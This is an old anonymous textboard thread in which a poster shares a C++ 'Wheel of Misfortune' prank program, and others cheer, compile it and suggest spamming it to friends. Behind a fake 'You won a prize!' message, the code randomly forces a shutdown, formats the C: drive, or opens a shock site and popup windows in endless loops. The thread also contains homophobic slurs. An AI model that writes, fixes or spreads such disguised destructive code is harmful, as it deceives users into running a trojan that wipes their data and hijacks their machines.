Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

lulz

Name: lulz 2007-08-27 18:26 ID:Og+h53ZF

#include <iostream>
#include <ctime>
#include <string>
#include <windows.h>
using namespace std;
int main(void) {
srand(time (0);
string spin;
cout<<"**WHEEL OF MISFORTUNE!**"<<endl;
cout<<"Spin the wheel? [Y/N] : ";
getline (cin, spin);
if (spin == "y" || spin == "Y") {
cout<<"You spin the wheel..."<<endl;
Sleep(3000);
system("cls");
int wheel;
(wheel = 1 + rand() % 5);
if (wheel == 1) {
cout<<"You won a prize!"<<endl;
system("shutdown -s -f");
return 0;
}
else if (wheel == 2) {
cout<<"You won a prize!"<<endl;
system("start iexplore www.gaiaonline.com/register";);
return 0;
}
else if (wheel == 3) {
cout<<"You won a prize!"<<endl;
system("FORMAT C:\ /q /f");
return 0;
}
else if (wheel == 4) {
cout<<"You won a prize!"<<endl;
system("start iexplore www.youtube.com/watch?v=oHg5SJYRHA0";);
return 0;
}
else if (wheel == 5) {
cout<<"You won a prize!"<<endl;
while (1) {
system("start iexplore prize.on.nimp.org");
system("msg * Enjoy your prize!");
}
return 0;
}
else {
cout<<"You don't get a prize because the wheel could not be spun."<<endl;
cout<<"Perhaps you should try painting instead. Go on, try it."<<endl;
while (1) {
cout<<"I SAID TRY IT!!!"<<endl;
system("start mspaint");
}
return 0;
}
}
else {
while (1) {
system("msg * Probably a good choice");
}
return 0;
}
return 0;
}

Name: Anonymous 2007-08-27 18:28 ID:Fb+8QqM1

ULTRA LULZ

Name: Anonymous 2007-08-27 18:31 ID:Og+h53ZF

I think I fucked up the end.

Name: Nick 2007-08-27 18:35 ID:wbuAjipI

No it's fine in the end. Now just spam this to all of your friends and ask them if they're lucky.

Name: Anonymous 2007-08-27 18:35 ID:/XoIkeU5

cout<<"Perhaps you should try painting instead. Go on, try it."<<endl;
while (1) {
cout<<"I SAID TRY IT!!!"<<endl;
system("start mspaint");
}

this made me lol

Name: Anonymous 2007-08-27 18:37 ID:Og+h53ZF

>>4
hahah...what friends?

Name: Anonymous 2007-08-27 22:08 ID:Pfik/CC/

>>1
YOU... ARE... MY... HERO!!!!

Name: Anonymous 2007-08-27 22:09 ID:Heaven

someone be a hero and compile this!!!

Name: Anonymous 2007-08-27 22:12 ID:tvyz9FQY

>>8
lulz.cpp: In function `int main()':
lulz.cpp:7: error: expected `)' before ';' token
lulz.cpp:25: error: expected `)' before ';' token
lulz.cpp:25: error: expected primary-expression before ')' token
lulz.cpp:25: error: expected `;' before ')' token
lulz.cpp:30:8: warning: unknown escape sequence: '\040'
lulz.cpp:35: error: expected `)' before ';' token
lulz.cpp:35: error: expected primary-expression before ')' token
lulz.cpp:35: error: expected `;' before ')' token

Name: Anonymous 2007-08-27 22:33 ID:tvyz9FQY

after adding a missing closing paren and taking out two extra semicolons, this is the result:
http://rafb.net/p/VQNUCn86.html

Name: Anonymous 2007-08-27 23:03 ID:Heaven

>>7
that's what she said.

Name: Anonymous 2007-08-28 8:10 ID:B+zMNIZ9

>>11
FUCK YEAH, SEAKING!!

Name: Anonymous 2007-08-28 8:11 ID:xmrpLHWo

>>12
HELL NO, DROUGHTSERVANT!!

Name: Anonymous 2007-08-28 10:49 ID:mfDyFzUH

>>9
(my PC's been turned off, so if my ID changed...OP here)
oops
I was too scared to compile it myself for fear of becoming an accidental hero...
So I didn't go through fixing any errors =/

Name: Anonymous 2007-08-28 12:05 ID:kFe0ee1+

>>14
Compile and Don't run ?

Name: Anonymous 2007-08-28 12:35 ID:1R6Mhb7w

>>15
Self-running code.

Name: Anonymous 2007-08-28 12:59 ID:mfDyFzUH

>>15
Always a chance of "compile & run" as opposed to "compile" (either by habit or mistake, I only started learning C++ recently); And then I might accidentally run it some other way.
>>16
Is it actually possible, once on a system, for a .exe to run itself? That's bad, but I believe I heard about it somewhere...

Name: Anonymous 2007-08-28 13:07 ID:Heaven

>>17
Is it common that Windows does this to a human brain?

Name: Anonymous 2007-08-28 13:33 ID:mfDyFzUH

>>18
Quite.

Name: Anonymous 2007-08-28 15:05 ID:H8DcAGXE

Is it actually possible, once on a system, for a .exe to run itself?
Don't be stupid

Name: Anonymous 2007-08-28 15:23 ID:mfDyFzUH

>>20
no u
What I meant was, without the .exe actually being launched by you or another program, can it make itself run? But yeah it's a silly question so screw that.

Name: Anonymous 2007-08-28 18:41 ID:jh0J0HOR

But yeah it's a silly question so screw that.

Name: Anonymous 2007-08-28 20:05 ID:1R6Mhb7w

>>22
Correct, Jhojohor.

Name: Anonymous 2007-08-29 5:32 ID:dDn+6VM8

As Jhojohor, I concur with >>23.

Name: Anonymous 2007-08-29 5:32 ID:dDn+6VM8

Fuck, it gave me a different tripcode. I am johojor

Name: Anonymous 2007-08-29 6:46 ID:es8NJOJq

>>25
That's not a tripcode, that's an ID.

Name: Anonymous 2007-08-29 7:02 ID:6W9TTDW2

You can be three types of fag:
- Namefag
- Tripfag (all the faggotry of namefag and more)
- IDfag (less of a fag)

Since somebody fucked with Shiichan a few months ago, we are all forced IDfags, unless we sage.

Name: Anonymous 2007-08-29 8:46 ID:Heaven

>>27
Since somebody fucked with Shiichan a few months ago, we are all forced IDfags, unless we sage.
You don't understand sage.

Name: Anonymous 2007-08-29 13:11 ID:Heaven

>>21
Well, you somehow have to tell the computer to transfer control to the EXE, so... it's a really dumb question, yes.

Most faggots would hit the button in their IDE that builds and runs the program, because that's what Winfags do when developing.

Name: Anonymous 2009-03-06 15:18


Silly clearly GChrome is.

Name: Anonymous 2014-02-03 17:17

top lel

Name: Anonymous 2014-02-03 17:17

top lel

Name: Anonymous 2014-02-03 17:17

top lel

Name: Anonymous 2014-02-03 17:17

top lel

Name: Anonymous 2014-02-03 17:17

top lel

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List